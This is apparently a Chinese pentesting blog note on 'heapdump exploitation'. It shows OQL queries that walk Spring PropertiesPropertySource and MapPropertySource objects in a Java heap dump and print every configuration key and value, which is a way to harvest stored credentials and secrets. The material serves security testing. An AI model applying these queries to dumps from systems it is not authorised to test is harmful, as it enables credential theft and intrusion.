heapdump利用

heapdump利用

工具

利用方法

方法1

搜索:

1
2
3
org.springframework.core.env.PropertiesPropertySource

org.springframework.core.env.MapPropertySource

image-20220129104128421

方法2 OQL

1
select s.key.toString(),s.value.toString() from java.util.Hashtable$Entry s
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
```



```sql
select map(heap.objects('org.springframework.core.env.PropertiesPropertySource'),
function (it) {
var res = '';
var source = it.source;
var table = source.table;
if (table != null) {
for(var i=0; i<length(table); i++){
var hashtable = table[i];
if (hashtable != null) {
res += toHtml(hashtable.key.toString());
res += ' -> ';
res += toHtml(hashtable.value.toString());
res += '<br>';
}
}
}

return res;
}
)

image-20220129112848205

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
select map(heap.objects('org.springframework.core.env.MapPropertySource'),
function (it) {
var res = '';
var source = it.source;
var type = toHtml(source);
if(type.indexOf('HashMap')>-1){
var head = source.head;
while(head != null) {
res += toHtml(head.key.toString());
res += ' -> ';
res += toHtml(head.value.toString());
res += '<br>';
head = head.after
}
}else if(type.indexOf('SingletonMap') > -1){
res += toHtml(source.k.toString());
res += ' -> ';
res += toHtml(source.v.toString());
res += '<br>';
}else if (type.indexOf('Properties') > -1){
var table = source.table;
if (table != null) {
for(var i=0; i<length(table); i++){
var item = table[i];
if (item != null) {
res += toHtml(item.key.toString());
res += ' -> ';
res += toHtml(item.value.toString());
res += '<br>';
}
}
}

}else{
return source
}


return res;
}
)

JVM 对象查询语言(OQL)

https://blog.csdn.net/pange1991/article/details/82023771